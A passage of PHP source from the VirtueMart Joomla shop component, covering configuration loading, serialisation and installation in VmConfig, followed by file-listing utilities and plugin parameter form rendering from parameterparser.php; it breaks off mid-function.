		$path = $basePath = JPATH_VM_MODULES.DS.$name;

		if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){
			$testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$name.'.ini';
			if(!file_exists($testpath)){
				$path = JPATH_ADMINISTRATOR;
			}
			$jlang->load($name, $path, 'en-GB');
		}

		$testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$name.'.ini';
		if(!file_exists($testpath)){
			$path = JPATH_ADMINISTRATOR;
		}

		$jlang->load($name, $path,$tag,true);
	}

	/**
	 * Loads the configuration and works as singleton therefore called static. The call using the program cache
	 * is 10 times faster then taking from the session. The session is still approx. 30 times faster then using the file.
	 * The db is 10 times slower then the session.
	 *
	 * Performance:
	 *
	 * Fastest is
	 * Program Cache: 1.5974044799805E-5
	 * Session Cache: 0.00016094612121582
	 *
	 * First config db load: 0.00052118301391602
	 * Parsed and in session: 0.001554012298584
	 *
	 * After install from file: 0.0040450096130371
	 * Parsed and in session: 0.0051419734954834
	 *
	 *
	 * Functions tests if already loaded in program cache, session cache, database and at last the file.
	 *
	 * Load the configuration values from the database into a session variable.
	 * This step is done to prevent accessing the database for every configuration variable lookup.
	 *
	 * @author Max Milbers
	 * @param $force boolean Forces the function to load the config from the db
	 */
	static public function loadConfig($force = FALSE,$fresh = FALSE) {

		if($fresh){
			return self::$_jpConfig = new VmConfig();
		}
		vmSetStartTime('loadConfig');
		if(!$force){
			if(!empty(self::$_jpConfig) && !empty(self::$_jpConfig->_params)){

				return self::$_jpConfig;
			}
		}

		self::$_jpConfig = new VmConfig();

		if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php');
		$configTable  = VirtueMartModelConfig::checkConfigTableExists();

		$db = JFactory::getDBO();
		$app = JFactory::getApplication();

		$freshInstall = vRequest::getInt('install',false);
		if(empty($configTable) or $freshInstall){
			if(!$freshInstall){
				$installed = VirtueMartModelConfig::checkVirtuemartInstalled();
				if(!$installed){

					$jlang =JFactory::getLanguage();
					$selectedLang = $jlang->getTag();

					if(empty($selectedLang)){
						$selectedLang = $jlang->setLanguage($selectedLang);
					}

					$msg = '';
					$q = 'SELECT `element` FROM `#__extensions` WHERE type = "language" and enabled = "1"';
					$db->setQuery($q);
					$knownLangs = $db->loadColumn();
					//vmdebug('Selected language '.$selectedLang.' $knownLangs ',$knownLangs);
					if($app->isAdmin() and !in_array($selectedLang,$knownLangs)){
						$link = 'index.php?option=com_installer&view=languages';
						$msg = 'Install your selected language <b>'.$selectedLang.'</b> first in <a href="'.$link.'">joomla language manager</a>, just select then the component VirtueMart under menu "component", to proceed with the installation ';
						$app->enqueueMessage($msg);
					}
					//else {
						if($app->isSite()){
							$link = 'index.php?option=com_virtuemart';
						} else {
							$link = 'index.php?option=com_virtuemart&view=updatesmigration&install=1';
							$msg = 'Install Virtuemart first, click on the menu component and select VirtueMart';
						}
						if($app->isSite()){
							$link = JURI::root(true).'/administrator/'.$link;
						}
						$app->redirect($link,$msg);
					//}
				}
				if($installed){
					self::$_jpConfig->installVMconfig();
				}
			} else {
				self::$_jpConfig->installVMconfig($freshInstall);
			}
		}


		$install = 'no';

		if(empty(self::$_jpConfig->_raw)){
			$query = ' SELECT `config` FROM `#__virtuemart_configs` WHERE `virtuemart_config_id` = "1";';
			$db->setQuery($query);
			self::$_jpConfig->_raw = $db->loadResult();
			if(empty(self::$_jpConfig->_raw)){
				if(self::installVMconfig($freshInstall)){
					$install = 'yes';
					$db->setQuery($query);
					self::$_jpConfig->_raw = $db->loadResult();
					self::$_jpConfig->_params = NULL;
				} else {
					$app ->enqueueMessage('Error loading configuration file','Error loading configuration file, please contact the storeowner');
				}
			}
		}

		$i = 0;

		$pair = array();
		if (!empty(self::$_jpConfig->_raw)) {
			$config = explode('|', self::$_jpConfig->_raw);
			foreach($config as $item){
				$item = explode('=',$item);
				if(!empty($item[1])){
					// if($item[0]!=='offline_message' && $item[0]!=='dateformat' ){
					if($item[0]!=='offline_message' ){
						try {
							$value = @unserialize($item[1] );

							if($value===FALSE){
								$app ->enqueueMessage('Exception in loadConfig for unserialize '.$item[0]. ' '.$item[1]);
								$uri = JFactory::getURI();
								$configlink = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config';
								$app ->enqueueMessage('To avoid this message, enter your virtuemart <a href="'.$configlink.'">config</a> and just save it one time');
							} else {
								$pair[$item[0]] = $value;
							}
						}catch (Exception $e) {
							vmdebug('Exception in loadConfig for unserialize '. $e->getMessage(),$item);
						}
					} else {
						$pair[$item[0]] = unserialize(base64_decode($item[1]) );
					}

				} else {
					$pair[$item[0]] ='';
				}

			}

// 			$pair['sctime'] = microtime(true);
			self::$_jpConfig->_params = $pair;

			self::$_jpConfig->_params['sctime'] = microtime(TRUE);
			//self::$_jpConfig->set('sctime',microtime(TRUE));
			//self::setdbLanguageTag();
			self::$_jpConfig->_params['vmlang'] = self::setdbLanguageTag();

			vmTime('loadConfig db '.$install,'loadConfig');

			return self::$_jpConfig;
		}


		$app ->enqueueMessage('Attention config is empty');
		return self::$_jpConfig;
	}


	/*
	 * Set defaut language tag for translatable table
	 *
	 * @author Max Milbers
	 * @return string valid langtag
	 */
	static public function setdbLanguageTag() {

		if (self::$lang) {
			return self::$lang;
		}

		$langs = (array)self::get('active_languages',array());
		self::$langCount = count($langs);
		$siteLang = JRequest::getString('vmlang',FALSE );
		//vmdebug('My $siteLang by JRequest::getString("vmlang",JRequest::getString("lang")) '.$siteLang);
		$params = JComponentHelper::getParams('com_languages');
		$defaultLang = $params->get('site', 'en-GB');//use default joomla

		if( JFactory::getApplication()->isSite()){
			if (!$siteLang) {
				if ( JVM_VERSION===1 ) {
					// try to find in session lang
					// this work with joomfish j1.5 (application.data.lang)
					$session  =JFactory::getSession();
					$registry = $session->get('registry');
					$siteLang = $registry->getValue('application.data.lang') ;
				} else  {
					jimport('joomla.language.helper');
					$siteLang = JFactory::getLanguage()->getTag();
					vmdebug('My selected language by JFactory::getLanguage()->getTag() '.$siteLang);
				}
			}
		} else {
			if(!$siteLang){
				$siteLang = $defaultLang;
			}
		}

		if(!in_array($siteLang, $langs)) {
			if(count($langs)===0){
				$siteLang = $defaultLang;
			} else {
				$siteLang = $langs[0];
			}
		}
		self::$vmlangTag = self::$langTag = $siteLang;
		self::$vmlang = self::$lang = strtolower(strtr($siteLang,'-','_'));
		vmdebug('$siteLang: '.$siteLang.' self::$_jpConfig->lang '.self::$lang);
		defined('VMLANG') or define('VMLANG', self::$lang );

		return self::$lang;
	}

	/**
	 * Find the configuration value for a given key
	 *
	 * @author Max Milbers
	 * @param string $key Key name to lookup
	 * @return Value for the given key name
	 */
	static function get($key, $default='',$allow_load=FALSE)
	{

		$value = '';
		if ($key) {

			if (empty(self::$_jpConfig->_params) && $allow_load) {
				self::loadConfig();
			}

			if (!empty(self::$_jpConfig->_params)) {
				if(array_key_exists($key,self::$_jpConfig->_params) && isset(self::$_jpConfig->_params[$key])){
					$value = self::$_jpConfig->_params[$key];
				} else {
					$value = $default;
				}

			} else {
				$value = $default;
			}

		} else {
			$app = JFactory::getApplication();
			$app -> enqueueMessage('VmConfig get, empty key given');
		}

		return $value;
	}

	static function set($key, $value){

		if (empty(self::$_jpConfig->_params)) {
			self::loadConfig();
		}

		if (!class_exists ('Permissions')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php');
		}
		if(Permissions::getInstance()->check('admin')){
			if (!empty(self::$_jpConfig->_params)) {
				self::$_jpConfig->_params[$key] = $value;
			}
		}

	}

	/**
	 * For setting params, needs assoc array
	 * @author Max Milbers
	 */
	function setParams($params,$replace=FALSE){

		if (!class_exists ('Permissions')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php');
		}
		if(Permissions::getInstance()->check('admin')){
			//The idea with the merge was that 3rd party use the config to store stuff there,
			//But we doubt that anyone does it, because the vm team itself never uses it.
			//To avoid errors like unserialize hidemainmenu b:0;, we just replace now the config with the data,
			//Hmm does not work, because people may use config values, not in the config form
			unset($this->_params['hidemainmenu']);
			unset($this->_params['pdf_invoice']); // parameter remove and replaced by inv_os
			unset($this->_params['list_limit']);
			unset($this->_params['pagination_sequence']);
			if($replace){
				self::$_jpConfig->_params = $params;
			} else {
				self::$_jpConfig->_params = array_merge($this->_params,$params);
			}

			//self::$_jpConfig->_params = $params;
		}

	}

	/**
	 * Writes the params as string and escape them before
	 * @author Max Milbers
	 */
	function toString(){
		$raw = '';
		$db = JFactory::getDBO();

		jimport( 'joomla.utilities.arrayhelper' );
		foreach(self::$_jpConfig->_params as $paramkey => $value){

			//Texts get broken, when serialized, therefore we do a simple encoding,
			//btw we need serialize for storing arrays   note by Max Milbers
//			if($paramkey!=='offline_message' && $paramkey!=='dateformat'){
			if($paramkey!=='offline_message'){
				$raw .= $paramkey.'='.serialize($value).'|';
			} else {
				$raw .= $paramkey.'='.base64_encode(serialize($value)).'|';
			}
		}
		self::$_jpConfig->_raw = substr($raw,0,-1);
		return self::$_jpConfig->_raw;
	}

	/**
	 * Find the currenlty installed version
	 *
	 * @author RickG
	 * @param boolean $includeDevStatus True to include the development status
	 * @return String of the currently installed version
	 */
	static function getInstalledVersion($includeDevStatus=FALSE)
	{
		// Get the installed version from the wmVersion class.

		return vmVersion::$RELEASE;
	}

	/**
	 * Return if the used joomla function is j15
	 * @deprecated use JVM_VERSION instead
	 */
	function isJ15(){
		return (strpos(JVERSION,'1.5') === 0);
	}


	function getCreateConfigTableQuery(){

		return "CREATE TABLE IF NOT EXISTS `#__virtuemart_configs` (
  `virtuemart_config_id` tinyint(1) unsigned NOT NULL AUTO_INCREMENT,
  `config` text,
  `created_on` datetime NOT NULL default '0000-00-00 00:00:00',
  `created_by` int(11) NOT NULL DEFAULT 0,
  `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `modified_by` int(11) NOT NULL DEFAULT 0,
  `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `locked_by` int(11) NOT NULL DEFAULT 0,
  PRIMARY KEY (`virtuemart_config_id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Holds configuration settings' AUTO_INCREMENT=1 ;";
	}

	/**
	 * Read the file vm_config.dat from the install directory, compose the SQL to write
	 * the config record and store it to the dabase.
	 *
	 * @param $_section Section from the virtuemart_defaults.cfg file to be parsed. Currently, only 'config' is implemented
	 * @return Boolean; true on success, false otherwise
	 * @author Oscar van Eijk
	 */
	public function installVMconfig($freshInstall=false){

		$_value = self::readConfigFile(FALSE,$freshInstall);

		if (!$_value) {
			return FALSE;
		}
		$_value = join('|', $_value);
		self::$_jpConfig->_raw = $_value;

		if($freshInstall){
			return true;
		}

		$qry = self::$_jpConfig->getCreateConfigTableQuery();
		$_db = JFactory::getDBO();
		$_db->setQuery($qry);
		$_db->query();

		$query = 'SELECT `virtuemart_config_id` FROM `#__virtuemart_configs`
						 WHERE `virtuemart_config_id` = 1';
		$_db->setQuery( $query );
		if ($_db->query()){
			$qry = 'DELETE FROM `#__virtuemart_configs` WHERE `virtuemart_config_id`=1';
			$_db->setQuery($qry);
			$_db->query();
		}

		$qry = "INSERT INTO `#__virtuemart_configs` (`virtuemart_config_id`, `config`) VALUES ('1', '$_value')";

		if(!$freshInstall){
			$_db->setQuery($qry);
			if (!$_db->query()) {
				JError::raiseWarning(1, 'VmConfig::installVMConfig: '.JText::_('COM_VIRTUEMART_SQL_ERROR').' '.$_db->stderr(TRUE));
				echo 'VmConfig::installVMConfig: '.JText::_('COM_VIRTUEMART_SQL_ERROR').' '.$_db->stderr(TRUE);
				die;
			}else {
				//vmdebug('Config installed file, store values '.$_value);
				return TRUE;
			}
		} else {
			return false;
		}


	}

	/**
	 * We should this move out of this file, because it is usually only used one time in a shop life
	 * @author Oscar van Eijk
	 * @author Max Milbers
	 */
	static function readConfigFile($returnDangerousTools,$freshInstall = false){

		$_datafile = JPATH_VM_ADMINISTRATOR.DS.'virtuemart.cfg';
		if (!file_exists($_datafile)) {
			if (file_exists(JPATH_VM_ADMINISTRATOR.DS.'virtuemart_defaults.cfg-dist')) {
				if (!class_exists ('JFile')) {
					require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php');
				}
				JFile::copy('virtuemart_defaults.cfg-dist','virtuemart.cfg',JPATH_VM_ADMINISTRATOR);
			} else {
				JError::raiseWarning(500, 'The data file with the default configuration could not be found. You must configure the shop manually.');
				return FALSE;
			}

		} else {
			vmInfo('Taking config from file');
			//vmTrace('read config file, why?',TRUE);
		}

		$_section = '[CONFIG]';
		$_data = fopen($_datafile, 'r');
		$_configData = array();
		$_switch = FALSE;
		while ($_line = fgets ($_data)) {
			$_line = trim($_line);

			if (strpos($_line, '#') === 0) {
				continue; // Commentline
			}
			if ($_line == '') {
				continue; // Empty line
			}
			if (strpos($_line, '[') === 0) {
				// New section, check if it's what we want
				if (strtoupper($_line) == $_section) {
					$_switch = TRUE; // Ok, right section
				} else {
					$_switch = FALSE;
				}
				continue;
			}
			if (!$_switch) {
				continue; // Outside a section or inside the wrong one.
			}

			if (strpos($_line, '=') !== FALSE) {

				$pair = explode('=',$_line);
				if(isset($pair[1])){
					if(strpos($pair[1], 'array:') !== FALSE){
						$pair[1] = substr($pair[1],6);
						$pair[1] = explode('|',$pair[1]);
					}
					// if($pair[0]!=='offline_message' && $pair[0]!=='dateformat'){
					if($pair[0]!=='offline_message'){
						$_line = $pair[0].'='.serialize($pair[1]);
					} else {
						$_line = $pair[0].'='.base64_encode(serialize($pair[1]));
					}

					if(($freshInstall or $returnDangerousTools) && $pair[0] == 'dangeroustools' ){

						if($returnDangerousTools){
							if ($pair[1] == "0") {
								return FALSE;
							}
							else {
								return TRUE;
							}
						}
						if($freshInstall){
							vmdebug('$freshInstall');
							$pair[1]="1";
							$_line = $pair[0].'='.serialize($pair[1]);
						}
						vmdebug('dangeroustools '.$pair[1]);
					}

				} else {
					$_line = $pair[0].'=';
				}
				$_configData[] = $_line;

			}

		}

		fclose ($_data);

		if (!$_configData) {
			return FALSE; // Nothing to do
		} else {
			return $_configData;
		}
	}

}

class vmURI{

	static function getCleanUrl ($JURIInstance = 0,$parts = array('scheme', 'user', 'pass', 'host', 'port', 'path', 'query', 'fragment')) {

		if(!class_exists('JFilterInput')) require (JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filter'.DS.'input.php');
		$_filter = JFilterInput::getInstance(array('br', 'i', 'em', 'b', 'strong'), array(), 0, 0, 1);
		if($JURIInstance===0)$JURIInstance = JURI::getInstance();
		return $_filter->clean($JURIInstance->toString($parts));
	}
}

// pure php no closing tag
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if (!defined('_JEXEC'))
die('Direct Access to ' . basename(__FILE__) . ' is not allowed.');

/**
 *
 * @version $Id: parameterparser.php 6080 2012-06-07 08:28:57Z alatak $
 * @package VirtueMart
 * @subpackage core
 * @copyright Copyright (c) 2006 Open Source Matters
 * @copyright Copyright (C) 2006-2008 soeren - All rights reserved.
 * @copyright Copyright (c) 2010 The virtuemart team
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.org

 /**
 * Parameters handler
 * @package VirtueMart
 */
class FileUtilities {

	/** TODO obsolete?
	 * Lists all available payment classes in the payment directory
	 *
	 * @param string $name
	 * @param string $preselected
	 * @return string
	 */
	function list_available_classes($name, $preselected='payment') {

		$files = self::vmReadDirectory(JPATH_PLUGINS . DS . 'vmpayment', ".php$", true, true);
		$list = array();
		foreach ($files as $file) {
			$file_info = pathinfo($file);
			$filename = $file_info['basename'];
			if (stristr($filename, '.cfg')) {
				continue;
			}
			$list[] = array('file' => basename($filename, '.php'), 'fileName' => $filename);
		}
		return JHTML::_('select.genericlist', $list, 'file', '', 'file', 'fileName', $preselected);
	}

	/**
	 * Function to strip additional / or \ in a path name
	 * @param string The path
	 * @param boolean Add trailing slash
	 */
	function vmPathName($p_path, $p_addtrailingslash = true) {
		$retval = "";

		$isWin = (substr(PHP_OS, 0, 3) == 'WIN');

		if ($isWin) {
			$retval = str_replace('/', '\\', $p_path);
			if ($p_addtrailingslash) {
				if (substr($retval, -1) != '\\') {
					$retval .= '\\';
				}
			}

			// Check if UNC path
			$unc = substr($retval, 0, 2) == '\\\\' ? 1 : 0;

			// Remove double \\
			$retval = str_replace('\\\\', '\\', $retval);

			// If UNC path, we have to add one \ in front or everything breaks!
			if ($unc == 1) {
				$retval = '\\' . $retval;
			}
		} else {
			$retval = str_replace('\\', '/', $p_path);
			if ($p_addtrailingslash) {
				if (substr($retval, -1) != '/') {
					$retval .= '/';
				}
			}

			// Check if UNC path
			$unc = substr($retval, 0, 2) == '//' ? 1 : 0;

			// Remove double //
			$retval = str_replace('//', '/', $retval);

			// If UNC path, we have to add one / in front or everything breaks!
			if ($unc == 1) {
				$retval = '/' . $retval;
			}
		}

		return $retval;
	}

	/**
	 * Utility function to read the files in a directory
	 * @param string The file system path
	 * @param string A filter for the names
	 * @param boolean Recurse search into sub-directories
	 * @param boolean True if to prepend the full path to the file name
	 */
	function vmReadDirectory($path, $filter='.', $recurse=false, $fullpath=false) {

		$arr = array();
		if (!@is_dir($path)) {
			return $arr;
		}
		$handle = opendir($path);

		while ($file = readdir($handle)) {
			$dir = self::vmPathName($path . '/' . $file, false);
			$isDir = is_dir($dir);
			if (($file != ".") && ($file != "..")) {
				if (preg_match("/$filter/", $file)) {
					if ($fullpath) {
						$arr[] = trim(self::vmPathName($path . '/' . $file, false));
					} else {
						$arr[] = trim($file);
					}
				}
				if ($recurse && $isDir) {
					$arr2 = self::vmReadDirectory($dir, $filter, $recurse, $fullpath);
					$arr = array_merge($arr, $arr2);
				}
			}
		}
		closedir($handle);
		asort($arr);
		return $arr;
	}

}

if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' );

class vmParameters extends JParameter {

	//	/** @var string Path to the xml setup file */
	var $_path = null;
	//	/** @var string The type of setup file */
	var $_type = null;
	var $_group = '_default';

	/**
	 * Constructor
	 *
	 * @access	protected
	 * @param	string The raw parms text
	 * @param	string payment_element payment element name
	 * @since	1.5
	 */
	function __construct($data, $element = '', $type='component', $pluginfolder ) {
		$lang = JFactory::getLanguage();
		$lang->load('plg_'.$pluginfolder.'_' . $element,JPATH_ADMINISTRATOR);

		if (JVM_VERSION === 2) {
			$path = JPATH_PLUGINS . DS . $pluginfolder . DS . basename($element). DS . basename($element) . '.xml';
		} else {
			$path = JPATH_PLUGINS . DS . $pluginfolder . DS . basename($element) . '.xml';
		}
		parent::__construct($element, $path);
		$this->_type = $type;
		if (JVM_VERSION === 2) {

		} else {

		}
// 		$this->_raw = $data;
		$this->bind($data);
	}

	/**
	 * render
	 *
	 * @access	public
	 * @param	string	The name of the control, or the default text area if a setup file is not found
	 * @return	string	HTML
	 * @author      Valérie Cartan Isaksen
	 */
	function render($name = 'params', $group = '_default') {

// 		vmdebug('render',$this);
		//             if (JVM_VERSION === 2) {
		$parameters = $this->vmRender($name, $group);
		//             } else {
		//                 $parameters = parent::render($name, $group);
		//             }

		return $parameters;
	}

	/**
	 * Render all parameters copied from Joomla 1.5
	 *
	 * @access	public
	 * @param	string	The name of the control, or the default text area if a setup file is not found
	 * @return	array	Aarray of all parameters, each as array Any array of the label, the form element and the tooltip
	 * @since	1.5
	 */
	function getParam(&$node, $control_name = 'params', $group = '_default')
	{
		//get the type of the parameter
		$type = $node->attributes('type');

		//remove any occurance of a mos_ prefix
		$type = str_replace('mos_', '', $type);

		$element = $this->loadElement($type);

		// error happened
		if ($element === false)
		{
			$result = array();
			$result[0] = $node->attributes('name');
			$result[1] = JText::_('Element not defined for type').' = '.$type;
			$result[5] = $result[0];
			return $result;
		}

		//get value
		$value = $this->get($node->attributes('name'), $node->attributes('default'), $group);


		return $element->render($node, $value, $control_name);
	}
	function getParamByName($name){
		
		return $this->$name;
		
	}
	/**
	 * vmRender copied from Joomla 1.5
	 *
	 * @access	public
	 * @param	string	The name of the control, or the default text area if a setup file is not found
	 * @return	string	HTML
	 * @author	Joomla 1.5
	 */
	function vmRender($name = 'params', $group = '_default')
	{
		if (!isset($this->_xml[$group])) {
			return false;
		}

		$params = $this->getParams($name, $group);
// 		vmdebug('vmRender',$params);
		$html = array ();
		$html[] = '<table width="100%" class="paramlist admintable" cellspacing="1">';

		if ($description = $this->_xml[$group]->attributes('description')) {
			// add the params description to the display
			$desc	= JText::_($description);
			$html[]	= '<tr><td class="paramlist_description" colspan="2">'.$desc.'</td></tr>';
		}

		foreach ($params as $param)
		{
			$html[] = '<tr>';

			if ($param[0]) {
				$html[] = '<td width="40%" class="paramlist_key"><span class="editlinktip">'.$param[0].'</span></td>';
				$html[] = '<td class="paramlist_value">'.$param[1].'</td>';
			} else {
				$html[] = '<td class="paramlist_value" colspan="2">'.$param[1].'</td>';
			}

			$html[] = '</tr>';
		}

		if (count($params) < 1) {
			$html[] = "<tr><td colspan=\"2\"><i>".JText::_('There are no Parameters for this item')."</i></td></tr>";
		}

		$html[] = '</table>';

		return implode("\n", $html);
	}
	/**
	 *
	 * @author Sören, Max Milbers
	 * @param object A param tag node
	 * @param string The control name
	 * @return array Any array of the label, the form element and the tooltip
	 */

	function renderParam(&$param, $control_name='params') {

		$result = array();

		$name = $param->attributes('name');
		$type = $param->attributes('type');
		if ($param->attributes('label') != '') {
			$label = JText::_($param->attributes('label'));
		} else {
			$label = '';
		}

		if ($param->attributes('description')) {
			$description = JText::_($param->attributes('description'));
		} else {
			//$description = JText::_('COM_VIRTUEMART_NO_DESCRIPTION_FOUND');
		}

		$result[0] = $label ? $label : $name;

		if ($type == 'spacer' || $type == 'checkbox') {
			$result[0] = '&nbsp;';
		} else {
			//			$result[0] = JHTML::tooltip( addslashes( $description ), addslashes( $result[0] ), '', '', $result[0], '#', 0 );
			//$result[0] = $description;
		}

		if (in_array('_form_' . $type, $this->_methods)) {
			$control_name = '';
			$value = $this->get($name);
			//			$value = $this->get($param->attributes('name'), $param->attributes('default'));
			$result[1] = call_user_func(array($this, '_form_' . $type), $name, $value, $param, $control_name, $label);
		}
		else {
			$result[1] = _HANDLER . ' = ' . $type;
		}

		if ($description) {
			$result[2] = JHTML::tooltip($description, $result[0], '', $result[0]);
			//$result[2] = JHTML::tooltip( $description);
			//			$result[2] =  $description;
		} else {
			$result[2] = '';
		}

		return $result;
	}


	/**
	 * @param string The name of the form element
	 * @param string The value of the element
	 * @param object The xml element for the parameter
	 * @param string The control name
	 * @return string The html for the element
	 */
	function _form_text($name, $value, &$node, $control_name) {
		$size = $node->attributes('size');
		if ((int) $size == 0) {
			$size = 25;
		}

		return '<input type="text" name="' . $control_name . '[' . $name . ']" value="' . htmlspecialchars($value) . '" class="text_area" size="' . $size . '" />';
	}

	/**
	 * @param string The name of the form element
	 * @param string The value of the element
	 * @param object The xml element for the parameter
	 * @param string The control name
	 * @return string The html for the element
	 */
	function _form_password($name, $value, &$node, $control_name) {
		$size = $node->attributes('size');
		if ((int) $size == 0) {
			$size = 25;
		}

		return '<input type="password" name="' . $control_name . '[' . $name . ']" value="' . htmlspecialchars($value) . '" class="text_area" size="' . $size . '" />';
	}

	/**
	 * @param string The name of the form element
	 * @param string The value of the element
	 * @param object The xml element for the parameter
	 * @param string The control name
	 * @return string The html for the element
	 */
	function _form_checkbox($name, $value, &$node, $control_name, $label='') {
		$default = $node->attributes('default');
		$checked = '';
		if ($value == $default) {
			$checked = ' checked="checked"';
		}

		$id = uniqid($name);
		return '<input type="checkbox" name="' . $control_name . '[' . $name . ']" value="' . htmlspecialchars($value) . '"' . $checked . ' class="text_area" id="' . $id . '" />
		<label for="' . $id . '">' . $label . '</label>';
	}

	/**
	 * @param string The name of the form element
	 * @param string The value of the element
	 * @param object The xml element for the parameter
	 * @param string The control name
	 * @return string The html for the element
	 */
	function _form_list($name, $value, &$node, $control_name) {

		$size = $node->attributes('size');
		$multiselect = $node->attributes('multiselect');
		if ($multiselect) {
			$multiselect = 'multiple="multiple"';
			$size = 5;
			$name .= ']['; // well, if it's multi-select, this must be an array, right?
			if (strstr($value, ',')) {
				$value = explode(',', $value);
			}
		}
		if ($size == 0)
		$size = 1;
		$options = array();
		foreach ($node->_children as $option) {
			$val = $option->attributes('value');
			$text = trim($option->data());
			$options[$val] = JText::_($text);
		}


		return VmHTML::selectList($control_name . '[' . $name . ']', $value, $options, $size, $multiselect);
	}

	/**
	 * @param string The name of the form element
	 * @param string The value of the element
	 * @param object The xml element for the parameter
	 * @param string The control name
	 * @return string The html for the element
	 */
	function _form_radio($name, $value, &$node, $control_name) {

		$options = array();
		foreach ($node->_children as $option) {
			$val = $option->attributes('value');
			$text = trim($option->data());
			$options[$val] = JText::_($text);
		}


		return VmHTML::radioList($control_name . '[' . $name . ']', $value, $options);
	}

	/**
	 * @param string The name of the form element
	 * @param string The value of the element
	 * @param object The xml element for the parameter
	 * @param string The control name
	 * @return string The html for the element
	 */
	function _form_table_data_list($name, $value, &$node, $control_name) {

		$db = JFactory::getDBO();

		$table = $node->attributes('table');
		$condition = $node->attributes('sql_condition');
		$valuefield = $node->attributes('valuefield');
		$textfield = $node->attributes('textfield');
		$orderfield = $node->attributes('orderfield');
		$sorting = strtoupper($node->attributes('sorting')) == 'DESC' ? 'DESC' : 'ASC';
		$multiselect = $node->attributes('multiselect');

		$query = "SELECT `" . $db->getEscaped($valuefield) . '`, `' . $db->getEscaped($textfield) . "`"
		. "\n FROM `" . $db->getEscaped($table) . "`";
		if ($condition != '') {
			$query .= "\n WHERE " . $condition;
		}
		if ($orderfield) {
			$query .= "\n ORDER BY `" . $db->getEscaped($orderfield) . "` " . $sorting;
		}
		$db->setQuery($query);
		$array = $db->loadResultArray();

		if ($multiselect == '1') {
			$multiple = 'multiple="multiple"';
			$size = 5;
		} else {
			$multiple = '';
			$size = 1;
		}

		$name = $control_name . '[' . $name . ']';
		return VmHTML::selectList($name, $value, $array, $size, $multiple, 'class="inputbox"');
	}

	/**
	 * @param string The name of the form element
	 * @param string The value of the element
	 * @param object The xml element for the parameter
	 * @param string The control name
	 * @return string The html for the element
	 */
	//	function _form_vm_category( $name, $value, &$node, $control_name ) {
	//		global $database;
	//
	//		$multiselect = $node->_attributes( 'multiselect' );
	//		if( $multiselect == '1' ) {
	//			$multiple = true;
	//			$size = 5;
	//		} else {
	//			$multiple = false;
	//			$size = 1;
	//		}
	//		require( CLASSPATH.'ps_product_category.php');
	//		$ps_product_category = new ps_product_category();
	//
	//		ob_start();
	//		$ps_product_category->list_all(''. $control_name .'['. $name .']', 0, array(), $size, true, $multiple );
	//		$category_dropdown = ob_get_clean();
	//		return $category_dropdown;
	//	}

	/**
	 * @param string The name of the form element
	 * @param string The value of the element
	 * @param object The xml element for the parameter
	 * @param string The control name
	 * @return string The html for the element
	 */
	function _form_filelist($name, $value, &$node, $control_name) {

		// path to images directory
		$path = JPATH_SITE . $node->attributes('directory');
		$filter = $node->attributes('filter');
		$files = vmReadDirectory($path, $filter);

		$options = array();
		foreach ($files as $file) {
			$options[$file] = $file;
		}
		if (!$node->attributes('hide_none')) {
			array_unshift($options, array('-1', '- ' . 'Do Not Use' . ' -'));
		}
		if (!$node->attributes('hide_default')) {
			array_unshift($options, array('', '- ' . 'Use Default' . ' -'));
		}

		return VmHTML::selectList('' . $control_name . '[' . $name . ']', $value, $options, 1, '', 'class="inputbox"');
	}

	/**
	 * @param string The name of the form element
	 * @param string The value of the element
	 * @param object The xml element for the parameter
	 * @param string The control name
	 * @return string The html for the element
	 */
	function _form_imagelist($name, $value, &$node, $control_name) {
		$node->addAttribute('filter', '\.png$|\.gif$|\.jpg$|\.bmp$|\.ico$');

		return $this->_form_filelist($name, $value, $node, $control_name);
	}

	/**
	 * @param string The name of the form element
	 * @param string The value of the element
	 * @param object The xml element for the parameter
	 * @param string The control name
	 * @return string The html for the element
	 */
	function _form_textarea($name, $value, &$node, $control_name) {
		$rows = $node->attributes('rows');
		$cols = $node->attributes('cols');
		// convert <br /> tags so they are not visible when editing
		$value = str_replace('<br />', "\n", $value);

		return '<textarea name="' . $control_name . '[' . $name . ']" cols="' . $cols . '" rows="' . $rows . '" class="text_area">' . htmlspecialchars($value) . '</textarea>';
	}

	/**
	 * @param string The name of the form element
	 * @param string The value of the element
	 * @param object The xml element for the parameter
	 * @param string The control name
	 * @return string The html for the element
	 */
	function _form_hidden($name, $value, &$node, $control_name) {

		return '<input name="' . $control_name . '[' . $name . ']" value="' . htmlspecialchars($value) . '" type="hidden" />';
	}

	/**
	 * @param string The name of the form element
	 * @param string The value of the element
	 * @param object The xml element for the parameter
	 * @param string The control name
	 * @return string The html for the element
	 */
	function _form_spacer($name, $value, &$node, $control_name) {

		if ($value) {
			return '<h3>' . JText::_($value) . '</h3>';
		} else {
			return '<hr />';
		}
	}


	/**
	 * special handling for textarea param
	 */
	function textareaHandling(&$txt) {
		$total = count($txt);
		for ($i = 0; $i < $total; $i++) {
			if (strstr($txt[$i], "\n")) {
				$txt[$i] = str_replace("\n", '<br />', $txt[$i]);
			}
		}
		$txt = implode("\n", $txt);

		return $txt;
	}

	/**
	 * Element name
	 *
	 * @access	protected
	 * @var		string
	 */
	var $_name = 'SQL';

	function _form_sql($name, $value, &$node, $control_name) {
		$db = JFactory::getDBO();
		$db->setQuery($node->attributes('query'));
